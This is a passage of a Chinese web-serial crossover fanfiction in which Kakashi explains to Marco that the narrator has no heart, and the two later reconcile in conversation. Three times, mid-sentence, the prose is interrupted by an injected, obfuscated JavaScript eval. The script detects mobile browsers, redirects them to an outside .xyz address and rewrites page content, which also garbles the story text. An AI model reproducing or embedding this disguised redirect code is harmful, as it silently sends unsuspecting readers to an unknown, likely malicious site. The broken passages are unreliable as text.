“我不知道你们具体聊了什么,”卡卡西告诉马尔科,“但我觉得,但凡你没有指名道姓地说明你喜欢的究竟是谁——她恐怕会认为世界上有一个女孩子被你喜欢,指不定还疑惑每天都是你们待在一起,你到底什么时候瞒着她喜欢上女孩子了?” “……”我没有故意,我只是被说中了情况,下意识愣了一下。 卡卡西果然很了解我,我当真这么想! 卡卡西看着我:“哦……你瞧她瞳孔地震的反应,她还真这么想。” 我哑口无言,我的确这么想——难道不是吗? 马尔科剧烈的心跳可以证明他一定有喜欢的人。但我始终疑惑马尔科究竟什么时候有了喜欢的人?即便他喜欢的是经理,即便他说他“一见钟情”,但他不是总和我在一起吗?总和我在一起的话,他的爱情究竟是怎样展开的啊? ——纯粹的网恋?可以是网恋,但我总觉得有哪里不太对劲。 长久以来,我们一直在一起,我明确看到马尔科把心力全部投注于学业,极少在旁门左道上分神。除了和修兵、卡卡西的对话,我从未见他沉迷于网络聊天、实时沟通,这网恋他究竟怎么进行呢? …… 我不理解啊,关于马尔科的爱情,我始终充满疑虑。 但我想,那或许只是因为我是第三者,我并不理解真正的感情。或许对于陷入爱情中的双方而言,即使不聊天也会有爱意蔓延? …… 我不知道啊,我猜的。我又没有心,又没有感情,那毕竟是我永远无法触及的盲区。 既然马尔科信誓旦旦,我只能选择相信他——我想他不会骗我,他又不是卡卡西。所以就算我不理解,我也坚定认为只是我不理解罢了。 一直以来,这就是我所以为的“真相”。而此刻,我却开始动摇。 卡卡西上扬的语气分明是一种调侃。那种音调我很是熟悉——他常常捉弄我,每次都笑得很大声——每一次调侃背后都是颠覆我认知的“告知”。卡卡西告知我的内容总和我以为的不相同。 当调侃的声音再次响起,它提醒着我——或许这一次又是我理解错了? 我不知道啊,我第一次知道。 如果是我理解错了,那“真相”又是什么呢? 卡卡西尚无为我解释的意思,他不断地和马尔科诉说—— “至于这个空洞——”卡卡西介绍着它的来历,“这种情况在修兵他们那里,被叫做虚。” “虚?” “嗯,空虚的‘虚’。是一种人死后,灵魂脱离肉身,因堕落而变成的迷失自我的怪物。” “……”马尔科再次沉默。 我被按在沙发上,背对着他们。我看不见他们是什么表情,如果看不到表情,我就无法理解到气氛。 我不知道现在这是什么情况?我只能听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915958|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见卡卡西的阐述—— “……但她这种情况和修兵说的不太一样,你看。” 卡卡西把我的衣服往上掀了一点。 再往上,那个黑乎乎的空洞早已不再是虚无。 “……这、这是?”马尔科的嗓音在颤抖。 “具体的情况我们也不太清楚,”卡卡西说,“总之,修兵来了以后,这个洞自己长出了一部分,大约填满了三分之一;我来了以后,又长出来三分之一……而后许多年也都没有再增长过。” “你刚来的时候,我告诉过你——这是一个新世界,收纳着死神、火影、海贼三个剧组的演员,你还记得吗?” “……呃,是。” “刚好三个世界,刚好每来一个人大小姐的空洞就能长出三分之一……我和修兵怀疑,或许家里还缺了一个成员。等到海贼散场,大小姐的空洞就能长出一颗心。” 这听起来很不可思议。马尔科始终沉默着。 但事实却诚然如此吊轨。 我很像是虚,但又似乎并不是一个真正的虚。我缺失的心指不定可以长出来——为此,卡卡西和修兵曾展开过无数次的探讨,但现在,事发突然,卡卡西并没有选择事无巨细地解释,而是用着长话短说的策略,只说着讨论的结果。 “……总之,马尔科。” “嗯?” “她理解不了你在说什么,但肯定不是要赶你走的意思,”我绝对没有那种意思,卡卡西为我正名,“你不要放在心上,她一定是为你好,毕竟这个洞里原本存着的是一颗拳头大的珍珠,至于那颗珍珠,你应该还记得……” 他记得,拳头大的珍珠毕竟少见。 闻言,马尔科猛地一愣。前一秒刚刚回神,这一瞬又在震撼中瞠目结舌。 他想的没错,就是去年那颗被我偷偷卖掉的珍珠。拳头大的冰晶白珍珠,一颗能卖二十万。 它曾经作为我的“心”,镶嵌在我身体里,填满了我胸口的空缺。 但它现在已经不是我的了,过去的事也没有再反复提及的必要。 卡卡西拍了拍他的肩,只是想告诉他:“大小姐是有点笨拙,什么事都要过脑,反应迟钝了些,但她不是笨蛋,她知道那是她的‘心’……但凡她真的不欢迎你、要赶你走,她从一开始就没有必要卖掉珍珠,对吧?” ……当然是对的。 我从来没有不欢迎马尔科,也当然不是在赶马尔科走。什么“误会”,什么“赶他走”……这一晚上,卡卡西一句话也不和我解释,一番话聊得我一头雾水,但我终于知道他们在聊什么了。 ——我是让马尔科走,让他不要顾虑,自由选择,只要他想,他可以去和他喜欢的人一起生活。 ——但我什么时候赶马尔科走了呢? ——我的话,在他们听来,是“驱逐”意思吗? 天呐! 我可从来没有“驱逐”的意思。我只是、只是…… 匪夷所思的“真相”惊得我目瞪口呆。我说不清楚啊。好在卡卡西可以。 “马尔科,有些东西……大小姐理解不了,但你能理解的吧?”卡卡西和他讲。 “你是我们家第十六次家庭会议上全票通过决定邀请的新晋家庭成员,你走还是留,大小姐一个人说了不算。我和修兵都不会答应。” “她一定误会了什么,至于是什么,你俩是亲历者,之后你们自己交流。我只是想告诉你这个事实,她真的没有心,没有办法理解‘感情’。可人总应该有一颗心吧?没有心,是怪物,不是吗?” “她的心……已经快要填满了。假设我们的推论是正确的,那么人世间无非就亲情、友情、爱情……修兵和我的到来各自填补了一部分,就差最后一部分。我们找你来,你明白什么意思吗?” 他问马尔科,一次又一次。 “据说海贼会在这里找到自己的爱情……我和修兵的意思,她听不懂,但你懂的吧?” “我……”马尔科欲言又止。 轻快的乐声在屋里飘荡。 卡卡西不再询问,拍了拍马尔科的肩膀。 “好了,该说的我都说了。接下来你们自己聊聊吧,快点把误会解开。” “好。”马尔科没有回绝。 “那你们先聊着,我恐怕还要出去一趟。晚饭不用等我了。” 卡卡西自说自话地做好了决定,终于肯放开我。手机在他口袋里响了多时,他急急忙忙外出接电话,临了还不忘在门边探头探脑地嘱咐—— “快点和好啊你们两个,我嗑的CP绝不能BE!” 52.21 审视(1) “咔哒”一声。房门从外面合上。 卡卡西说走就走,步履匆匆。透过客厅的窗,遥遥可见他的身影快速消失在路的尽头……尽头更深处,暮色戚戚,地下没有灯火,天上亦无星月。 时候不早了。这个点还得出门,恐怕是办事处的差事。 办事处的差事从来由卡卡西全权负责。我不必问,不是询问的时候——眼下修兵要上班、卡卡西要工作,一时间,家里又只剩下我和马尔科。 我们已经一整天没有说话。 即便卡卡西告诉我们,我们之间存在误会,正应该开诚布公地好好谈谈。而在他走后,任由钟表上的指针滴答转动,时间一分一秒地流逝。 我和马尔科始终僵在原地,对视着,谁也没有开口。 沉默就像钝刀,充斥在房间中,使人身不由己。 我不知道他怎么想,至少我——我倍感语塞。我从来都不是一个擅长聊天的人,这种情景下又特为尤甚。 是该说些什么的,但话语梗塞在喉头,我不知道该怎样开口,又该具体说些什么? 无尽的沉默里,几不可闻地传来了他的叹息。 “……傻瓜,别愣着啊,快把衣服放下来。” 马尔科向我走出了第一步。 在我呆滞不动的时候,他快步走向了我。 卡卡西关心则乱,他才是真正的笨蛋,一心在乎解开误会,只管掀开衣服展示我心口的空洞,不曾想我生理期来了,掀开衣服也不知道替我还原。 马尔科知道,赶紧上前替我整理衣摆。他心思细腻,既温柔又体贴,真的很会照顾人。 “冷吗?”他替我整理好裙子,不忘摸摸我的脸,确认体温。 “嗯……”我点着头。 很冷。我快要冻僵了,只是碍于先前那场严肃的对话,强忍着没有发作。 他靠近我,我不是故意,一下栽倒在他身侧。马尔科一把接住我,我的身体早已习惯了他的触碰,他也一样,顺势伸手抱住我,动作浑然天成。 “怎么冻成这样?” “嗯……” 我太冷了。日子分明已过立春,而我感觉像是回到深秋,回到那个一夜骤降二十度的冻雨夜。 那时家里没有别人,只有我和马尔科,我不得不靠着马尔科取暖,如若不然,只能寂寞地在夜里瑟瑟发抖;如今也一样,家里没有别人,只有马尔科和我。我冷得意识不清,睁不开眼,马尔科紧紧抱着我,点燃了青炎,仍由它们纵情燃烧。 屋子里不需要额外的灯光。 火花闪耀如白昼。 卡卡西的提议很好。我们是应该聊聊,但并不是现在。 现在我没有谈话的心思,马尔科也没有——时间在流逝,他已经竭尽全力地替我取暖,而我的体温却毫无回暖的趋势。 “这样下去不行啊,”马尔科有点急了,连连叹息,“别在这里呆着了,先吃饭吧,你得吃点热的。” “……”我没有意见,什么都好。我很冷,太冷太冷了。 马尔科带我去厨房。在此之前,他已经准备好了菜品,只等最后一步上锅。 “咔”的一声。燃气炉滋滋冒起火光。 那点余温微不足道却十足珍贵。我太冷了,又冷又痛。马尔科把我放到了身前,一手勾着我腰,一手快速烹调。 今日菜谱是辣咖喱饭和加小虾皮的海带汤。 许久没有在家吃咖喱饭了……食材的香气窜入鼻子里,勾起馋虫的同时,不免也勾起了我一点似曾相识的记忆。 我记得那天也是这样。 我很少进厨房。修兵不允许我搞破坏,卡卡西也不让。只有马尔科会放我进来,上一次也是这样,天气一样清冷,他在厨房做饭,菜谱也是辣咖喱饭和加小虾皮的海带汤,而我搂着他,极力汲取体温…… 时间过得真快,一转眼,冬去春来,我们相识竟已有半年。 半年前我们刚刚认识,彼此不熟悉,说话一板一眼,满是陌生疏离;如今朝夕相处了半年,居然又回到了从前的小心翼翼。 “马尔科。” “嗯?” 我试图和他搭话:“对不起,我不是要赶你走。” “嗯,我知道,”他轻轻地拍着我的后背,语气平静而温和,“那会儿……你不是说了么?你觉得我有喜欢的人,你让我去和喜欢的人一起生活……不是吗?” “嗯,是的。” 我是说过这样的话,也如此认为。但卡卡西也间接告诉了我,我们之间一定有什么误会,而我至今还不知道自己究竟误会了什么,究竟是哪个环节出了差错? 这说来属实荒诞可笑。 是我说错话、造成误会、伤害到马尔科,而我居然不知道自己错在哪里,居然需要被害者主动告知。 “对不起,”我很抱歉,但我只能拜托他告诉我真相,“我不知道我误会了什么,你可以告诉我吗?” “……”马尔科油然地愣住了。再开口,那表情带着惆怅,语气也按捺不住波澜。 “你……还是不知道吗?真的感受不到?” “嗯,不知道。” “完全没有感受吗?” “没有。” “这样吗,”他点着头,无声地叹息。 “我到底误会了什么?”我仍然得询问他,“我说让你走,这句话伤害你了是吗?” 我不知道,没有人告诉我究竟发生了什么,一切都是我的猜测。倘若我的猜测是真的,我真的伤害了马尔科的话,那我道歉。 我暂且能做的,似乎也只有道歉。 “对不起,我——” “不。别说对不起。” 马尔科一把抱住了我。 一定有什么事情在我不知情间发生了。我从来没有见过这样的马尔科。 印象里的他总是温柔,一颦一笑宛如春风化雨,连怀抱也柔软得像云端上的梦。此刻却迥乎不同,拥抱来势汹汹,孔武有力的臂膀像铁索紧紧缠绕着我……缠绕着我们,捆得我们浑然一体、牢不可破。 “别说对不起……” 他在我耳边重复,颤抖的声音破碎而苍凉。 但我太冷了。束缚那么紧,却使我感到了一丝微弱的暖意。 我没有办法抗拒。 我把脸埋进他温暖的胸膛。 “该说对不起的是我……”马尔科轻声说着,“刚才,卡卡西说的都是真的吗?” 他的声音仍是一如既往的柔和,但语调却微微颤抖着,满是余波的震荡。 ……我不知道那种颤抖意味着什么? 世界上百分之九十九的人对管理员的存在是敬畏和恐惧。 除了恐惧,我不能知道还有什么别的颤抖的理由。但我又分明察觉到,他没有恐惧。因为恐惧的人会推开我,而他没有,他环抱我的那只胳膊比起从前都要用力。 ——马尔科在想什么呢?又想知道什么呢? 我抬起头,费力地看向他——他的表情无比平静,仿佛无事发生。 原是他声音在颤抖。 但这一眼下去,我开始疑惑究竟是我在颤抖,还是他无法平息? “……”我不知道答案。 即便我承认卡卡西所言都是真的——至少在我听来,没有夸张和虚构的部分。不过我也得承认,即便有夸张和虚构,大概我也听不出端倪。 所以我既不知道马尔科在想什么,又没有办法回答他的问题。 交流,对我来说,从来都是难以跨越的沟壑。我常常感觉无能为力,过去、现在,一以贯之。 没有办法。 我听见了,但我只能沉默。 “……怎么不说话?”马尔科捧着我的脸,轻声问着,“怎么了,大小姐?不想理我了吗?” “我没有,”我蹙着眉,不得不告知他,“马尔科,我没有心,没有感情。” “嗯……所以呢?” “所以,不存在‘不想’。” 他的眉头渐渐聚紧,纵使语气仍然温柔。 “那为什么不和我说话了?” “卡卡西说了很多事,我不知道你具体想问什么……马尔科,我听不懂,你可以说得具体一点吗?” 如果他描述地更清晰一点,我可以尽我所能地回答他。但马尔科没有告诉我他想确认的“真相”究竟是什么,我等来的只有又一声冗长的叹息。 这次我不用看了,马尔科放下了餐具,转而抱紧了我。 “对不起,”他在我耳边无声地叹息,“对不起,我不知道事情是这样的。” “……”前一句表达我还弄不明白呢!他突然的行为又让我迷茫。 马尔科为什么要和我道歉呢?我不理解。 我们之间或许存在一些误会,误会来源于我没有心,无法理解感情,我没有告诉他这件事,所以在沟通过程中产生了信息错位。退一千步说,这是我的问题,可既然不是马尔科的过错。他为什么要道歉? 我不理解,这突然的拥抱让我迷茫。 这并不是一个理性的行为,倘若是理性的推论,我理应可以二次推导?但我不能,所以这似乎无关理智,拥抱只是他感情的宣泄和表达。 可是感情的话……我更不能理解了。毕竟我没有心、没有感情、无法体会、无法表达。 我不知道该怎样回应他,我能做的只有沉默。 “马尔科,”我伸出手,像他抱紧我一样抱紧他,“对不起,我没有心,我听不懂……” 我的意思是,希望他能给我更多的解释。 但他抱住我,询问伴随更深沉的叹息:“那你特别怕冷,也是因为没有心吗?” “……”我该怎么回答?我始终云里雾里。 话题分明发生了变化,重点不断在改变。 有心的人不会明白这种感觉,我真的无法理解他在说什么,像瞎子想象大象一样,毫无头绪、如坠五里雾中。 上一个问题我还没明白,上上个问题也没有,一个又一个的问题却接踵而至,叫我应接不暇。 我需要大量时间去分析和判断。频繁的提问让我总是张开嘴,却接连不断地无语凝噎。 几番尝试无果,马尔科看出些端倪。 “怎么了,”他问我,“还是不知道怎么开口吗?” “是的,”我蹙着眉头,拜托他,“可以用更直接的方式跟我说话吗?” 他想了想:“那直接提问可以吗?” “什么意思?” “就是卡卡西那种方式,我来提问,你只回答是或不是。这样好吗?” “……” 我也不知道好不好,但我点头,愿意一试。 有些事总归要试试才知道答案。 事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927256|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实上,我没有心,无法理解感情。尝试和我沟通对双方而言都是一种挑战。 这方面马尔科没有经验,他应该询问修兵和卡卡西的指导和帮助;这件事也不能急于一时,我和修兵、卡卡西的了解也经历了漫长的磨合期…… 道理我都懂。 现实却出乎我的意料——马尔科不需要人指导,他很聪明,不愧是高材生,悟性极佳。 “普遍来说,心脏最基础的功能是泵送血液,血液循环除了运输营养物质和代谢废物之外,最主要的是效益是传递热能,保持体温恒定。而你没有心——” 马尔科问我,“没有心,所以你的血液循环极其缓慢,氧气和营养物质无法有效传递到神经末梢,导致手脚冰冷乏力,行动不便、爱摔跤……是这样的吗,大小姐?” “是的。” 我以为他会询问,而他没有,他开始了推理。 马尔科的推理是对的,我们对于这颗心的认识也来源于一场场家庭大会的推理。时间关系,这些“真相”刚才卡卡西没来得及对他解释,但他自己想到了,完全不需要我的解释。 “如果缺心眼并不是开玩笑的话,是不是意味着卡卡西曾经说过的许多话都是真的?” 马尔科问我,“那他之前说……脑袋被冻住了就会乱说话——那天你没有反驳——这是不是也意味着体温过分降低会使得血液无法流动,进而无法传输营养物质和氧气,使大脑陷入混乱?” “是的。” 我承认,我的大脑的确会因为缺氧而混乱。 我没有心,一切依靠大脑的判断,如果它宕机,我整个人都会连带着呆掉。 “……可是医学上证实,缺氧缺营养都会给大脑带来不可逆的损伤。我刚来时,修兵说过要好好照顾你,不想流浪就得尽力保护好大小姐;卡卡西也一直强调着千万不要冻到……这是不是意味着类似的事件发生过,他们已经知道了,如果不能保证最低效能的体温,会损伤你的身体,甚至危急性命,是吗?!” 他语速加快了些许,表露着心情的急迫。 “会怎么样?会出现低血糖的症状,晕过去吗?晕过去以后很难再醒过来,是吗?!” 马尔科迫切的想知道答案。 答案一如他的推论。 “……是的。” 我承认,类似的事情的确发生过。 我会有昏厥的危险。倘若气温过低,我太冷的话。 零度是那条红线。倘若水冻成冰,我甚至不能靠血液的自然流动传输能量,那我会晕厥、沉睡…… 所有活着的生命都有死亡的风险,管理员也不例外。 我也有死亡的局限性。但我并不知道晕厥、沉睡的终点是不是死亡。 我没有尝试过,修兵和卡卡西把我看管得紧,他们有自己的协定,无论如何不会让我一个人呆着,无论如何一定要有人跟在我身边。起初那个人是卡卡西,如今这个人换成了马尔科…… 他是对的,逻辑严密,推理正确。 他真的很聪明,不愧是医生。我们家开会讨论了半年时间,才大抵摸清了原理;而马尔科只知道我没有心,然而迎刃而解,一通百通。 “对不起……之前没有告诉你。” “不要道歉,这不是你的错。” 马尔科抱住我,再三回绝我的歉意。 …… 咖喱要出锅了。 马尔科开始往里面大把大把地撒辣椒粉。咖喱汁渐渐变成热烈的红色,从前他不让我吃太多辣,但现在他一语不发,只是一味地重复动作。 我不知道他在想什么。这样的马尔科让我感觉陌生。 我没有心,无法利用血液传递食物吸收消化而产生的热量,但可以通过刺激痛觉,激发肾上腺素,使肌肉产热——我和卡卡西实验开发出了“对策”,再不是办法的办法终究也是个办法。 我合理怀疑马尔科已经自行领悟了我噬辣的原理。或许正因为他已经知道了断尾求生的确不是个办法,所以他才如此沉默。 晚饭被摆上了餐桌。 我长这么大,从没体会过被人拿着勺子,一口口喂饭到嘴边。 马尔科是第一个。 他喂我吃饭。但这顿饭我吃得很不是滋味。 辣椒太多了,在身体燥热起来之前,我的胃会翻江倒海地抗议。它不断地提醒我,它的处境如烈火焚灼。 我却要忽视它的请求,告诉它生理期的震荡也还在继续——我只是能站起来了,而小腹处仍然存有拉拽、劈砍般撕裂的痛处——而刀劈斧砍,一点也不比烈火燎原容易。 战斗不会停止的,如果尚未决出最终的胜利者。 夜已经深了。我早该睡着了,但我没有。 天上无月无星。我数着马尔科的呼吸,思考了很久很久。 我还在想那个“误会”到底是什么,如果它存在,我想我们总应该面对、最好尽快地将它拔除。但我没有心啊,我无法感受他的感受。 我不知道现在和他聊这些是可以的吗?马尔科可以接受吗?还是说,他需要更多的时间去平复心情? 我睡不着。黑夜里,我听到他的声音。 “聊聊天吗?”马尔科问我。 “聊什么?”我转过头。 那双眼望着我,沉默、温和,而破碎。 却在夜色里熠熠生辉。 53.21 审视(2) 原来他也没睡…… 在对视中,我后知后觉。 我们平躺在床上,隔着一段平静的距离。这段距离模糊了我的视线。我不再像从前那样,能看清他细微的表情。我无法判断他的情绪,但在寂静里,我敏锐地觉察到他的声音里轻微带点笑意。 “你在笑吗?” “嗯?” “你在笑什么?” “噢,我……”他在笑,不同于寻常的爽朗和开怀,那种笑意如飞鸟过眼一般,清浅平淡、不着痕迹。 但那也是一种笑,只要是笑就总归是好的。 “你还记得我刚来家里那阵子吗?”马尔科问我,“卡卡西出差去了,修兵也不在家。家里只有我们两个。那天降温了,我在厨房做饭,你因为太冷了,靠在厨房边上探头探脑……” “嗯,是的……”这段记忆我也有,我也在第一时间想到了它。 我想来很是感慨,时间如白驹过隙, 马尔科想来会笑,起初如飞鸟过眼的笑意一点点加重痕迹,渐渐在夜色里荡开波澜。 “从那天开始……好端端的大小姐因为怕冷,黏着我一步都不肯分开呢。” 马尔科在笑我。 我的确如此,他可以笑,我承认,也同他一样微笑起来。 “嗯,你很暖和。” “嗯,是啊,那时候是因为我很暖和吧?但……现在还是黏着我,好像并不全是因为冷啊,是吧?”马尔科问。 “嗯,是的。”这一点我也承认。 半年前是因为冷才相拥取暖,但半年后不全是冷,更多的是一种习惯。不管冷不冷,我都习惯了靠近他。 习惯真是一种玄妙的东西……我笑着,忽然一怔。 他对时间的感受提醒了我——我们永远不可能回去从前,即便吃同样的晚餐、经历同样的沉默,但仍然有一些东西在时间里发生了微妙的变动。 这是一个好消息。 意味着我们之间或许产生了误会,但我们没有必要因此畏足不前。那些岁月已在我们的人生里留下了踪迹,我们仍是亲密的,即便我们看起来像从前一样生疏。 我意识到我要往前走一步。 走向未知会使人感到恐惧。而我没有心,我不会恐惧,如果我和马尔科之间一定要有一个人向前迈步,很明显,那个人也应该是我。 我得做点什么,我可是管理员。 我想了想,艰难地从被窝里伸出手,摸索着试图触碰他的脸—— “嗯?”马尔科截住了我的动作,“摸什么呢,大小姐?” 我开始胡言乱语:“摸摸看,你掉小珍珠了么?” “……” 他没有掉,眼窝深邃,并无积水。纵使语气湿漉漉的,听来像雨后的青草地遍布晶莹剔透的水露;偶一开口,亦是破涕为笑的口吻—— “我怎么会掉小珍珠呢?” “所有人都会掉小珍珠。” “不会的,”马尔科笑着,声音轻柔,“怎么会呢,我其实……挺高兴,真的。” “是吗?”我仰着头。 “是哦,”他说肯定的话,但语气听来仍然颤抖。 我没有心,不会心碎。但火光照亮黑夜时,我看马尔科的眼睛水汽氤氲,眼窝晶莹透亮。 他说没有掉小珍珠,我也确认了的确没有,却不知怎么的,那眼神像是有了裂痕的玉,眼神温润内敛,而总有一股说不清道不明的破碎滋味。 我没有感觉,我只是在电视剧里见过类似的表现。 “对不起,马尔科。” “干嘛道歉,嗯?” 我怀疑他伤了心,伤心就会流泪。我伸出手,试图再次确认—— 是干的,没有小珍珠。马尔科没有拦我,也伸出手,触碰我的眼睛。 “干什么呢?” “真的没有小珍珠。” “是啊,”他刚才还在颤抖,这一秒,却染上了笑意。 马尔科挪开了我的手,顺着胳膊拽着我到他面前。蓝色的火光冲天奔地,房间里顷刻间亮如白昼。 这次我看到他的眼睛熠熠生辉,原来不是水汽氤氲,而是他的眼睛异常明亮——鸟的眼睛就是这样,我差点忘了,他是鸟啊,不死鸟也是一种鸟——鸟是自由的,它们的眼睛充满了光明。 我认真地观看,又仔细地抚摸,再三确认,没有小珍珠,真不是小珍珠。 某种意义上来说,它佐证了那些“误会”或许会让他伤心,却并不至于让他伤心到落泪的程度。 “放心了吗?”马尔科笑着。 “嗯,”我也笑起来。这下放心了,虽然我没有心。 我还是不擅长聊天,不知道怎样打开交流的窗口。但很明显,触碰已经拉近了我们之间的距离。 他从床边睡到了我身边,侧着身子,静静地注视着我。我也侧过身,静静地注视他。 我想和他聊聊,但我不知道该从哪里开始聊起。所以我伸出手,摸摸马尔科的脸。 贴贴是一种魔法,会让我们变得亲密。当我触碰他,笑容会从马尔科的唇边深入到眼底,他的眼睛也会笑,弯弯的,如同夜空中一道璀璨的星河。 “不睡觉,在想什么呢?”马尔科问我。 我如实答复:“我在想……该怎样和你说上话。” “傻瓜,那不用想。” 马尔科捉住我的手,把它收进了被窝里。冷风侵灌在我们之间,距离无法靠被子填补。所以他靠过来,愈发向我靠近,以便更好的倾听。 “你有什么想要说的么?”马尔科问我,“你说就好了,大小姐想说什么都可以。” “真的可以说吗?”我不确认。 “当然,”直到马尔科再三肯定。 …… 夜很深了。窗外的路灯下偶然传来阵阵鸡鸣狗吠。 不知道是谁从此处经过,叨扰了隔壁家的小院。我想不是卡卡西,卡卡西步履轻盈,来去悄无声息。这人冒失的脚步在附近鲜有耳闻,兴许是醉酒经过的路人,或者心事重重的某位邻居? 不多时,鸡犬声渐渐平息。世界再次陷入沉寂。 一整晚我都没有听见房门开启的声响,卡卡西没有回家,说明十二点未过。这一天尚未结束,我不想留着“误会”过夜。 我定了神,决定要开口。 我斟酌着语句,打磨它,让它更为坦诚。我们之间已经存在了“误会”,如果我不坦诚一些,我们就没有从这件事里成长。 “马尔科。” “嗯?” “你有喜欢的人,对吗?” “嗯,对。” ——我以为他会给我肯定的答案,我在脑海里预设,他会说“对”,然后我顺理成章地开展下文。 这是一个惯用的文学手法,叫做“先叙后议”。 先说他事,再由他事引入真正要说之事,以层层递进的方式直入主题。如果将它用于沟通,也可有效避免对核心问题的直接接触,是一种非常温和委婉的方式。 我以为他会说“是”,毕竟傍晚时分,马尔科就对卡卡西说过“是”。 所以我这分明是一个明知故问的手法,严格按照《沟通技巧》进行的教科书级别的对话。然而马尔科的回答让我跌破眼镜—— “……其实,我现在不是很确定。”马尔科告诉我。 我脑海用过万千种沟通技巧,真到用时,却被一句话打回原形。 “什么意思?”我不理解,需要他解释。 “就是字面意思啊……”马尔科叹了口气,“我也说不好。感情是很复杂的东西,但我之前并没有真正的去思考过……” 可那又是什么意思?我还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945819|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不理解,他的解释让我更糊涂了。 我像是丈二的和尚——摸不着头脑。我无法再对话下去,即便我有沟通的意愿。 交流还是太困难了。它还没开始,就已经结束。 屋子里瞬间陷入寂静。太静了,马尔科在我们之间点起了一把火。 “这是什么表情?”他看着我,脩地笑出声,“干什么啊大小姐,漂亮小姐的脸上怎么能出现这种表情?” “……”我又看不见自己的样子,哪里知道我是什么表情?现在的问题也不是我的表情,而是我听不懂,没有办法和他继续交流。 可是不交流又怎样解开误会呢?如果不把污浊拔除,我和马尔科就会变得生疏。 那不是我想要的结果。 “我听不懂,”我大声控诉,“你说的话,我一句都听不懂!” “啊好好好,知道了知道了,”我在控诉,马尔科却笑得更大声,“哪里听不懂,我给你解释。解释清楚好不好?别皱着眉头啊,皱眉头不好看了!” 马尔科拽着我的胳膊,把我拉到了他跟前。 很近了,我又可以靠着他肩膀,享受他温柔的抚摸。 触碰是一种魔法呀,不仅对马尔科,对我也是一样。 我拧着的眉头渐渐被他揉开。他不让我这样,絮絮叨叨地批评我,说我上次吃完苦瓜也是这种表情……字里行间全是他不由分说的厌弃。 “这种表情真的很丑吗?”我问马尔科。 “不丑啊,很可爱。”他又给出一个相反的答案。 我不理解:“我以为你在厌恶它。” “我没有,”马尔科说,“它很可爱,但比起大小姐苦着一张脸,我更想看到你开开心心的笑。” “可是我没有心,不会开心,笑不等于开心,苦着脸也不是因为辛苦,只是我的身体发出了抗议。” 我想那没什么大不了,我自愿吃掉苦瓜,即便露出苦苦的表情,也不是我有苦苦的情绪,只是它不好吃而已。 我解释了,马尔科不听。 “那也不要!” 他不由分说地扣住我的后腰,一把将我拽进了他臂弯里。鼻息自上而下地拂扫我的面庞,暖风吹得我皮肤隐隐发痒。 我低下头,试图躲避,不经意间却猛地磕到他下巴。 “嘶——” 马尔科倒抽一口凉气。 但他却不肯放开我,胳膊环在我身后,箍着我们身体密不透风。 坏消息是:人心一旦碎裂,再难以弥补。 好消息是:他的手温柔如初。 我可以确定了,虽然有一些误会,有很多不理解,但至少马尔科和我都有和好的意愿。 他的意愿如此强烈,我深刻地感受到了,甚至我不得不开口—— “马尔科,有点痛……” “哪里痛?”他紧张道。 “胸口压到了。” “唔……抱歉。” 他忽然松开了我,笨手笨脚地把我推开很远。 寒气从我们之间灌入,见缝插针地侵袭了每一处角落。我不免蹙眉,埋怨他:“这样就冷了……” 马尔科微微一怔,泄气般笑出了声。 “对不起,我……我怕弄疼了你,”他和我道歉,又把我拽回他面前,“那怎么样才合适呢?” “这样——” 没关系,不用道歉,我理解——大家都有和好的意愿,所以才会滋生紧张的情绪。 虽然这种情绪并不必要,只要大家都想和好,和好便指日可待。 他不必紧张。 我也不必。 他只管张开双臂。 我自己会去寻找,最合适的地方嵌入。 “好了,可以抱了。”我趴在他肩头。 “嗯,”他只需要在我耳边低声笑,“好~” 54.21 审视(3) 这无疑是一个好的开始。 我放松了些,手脚被他高热的体温点燃时,知觉也逐渐融冰。马尔科的推理是正确的:寒冷会凝固我的血液,冻结我的头脑,而温暖会使我无比的轻松惬意。 嵌入他身体里实在温暖,而每当我温暖起来,我又不喜欢。 我还是要换一个姿势,换我自己最喜欢的。我要睡在他边上,胳膊挂在他腰间。额头抵在他肩头,耳朵贴上他心口。 “大小姐,”马尔科问我,“你总喜欢趴在我心口上睡觉,为什么,是在听心跳声吗?” “……嗯,是的。” 它很动听,律动的节奏蕴含着蓬勃的生命力。 或许是因为我没有,所以当那声音出现在我耳边,即便它细微到几不可闻,我也能敏锐地抓住它。 砰砰。 砰砰。 像春天到来前的雷鸣,一雷声起,万物复苏。 “生命力、希望、春天……修兵告诉我,那些都是很好的东西。” “修兵会和你聊这些话吗?” “是的,”我点点头,“文学、诗歌、哲学、艺术……修兵都会和我说。” 其实那些东西我都不理解。曾经有无数个日夜,修兵一遍一遍地跟我讲,希望是什么。 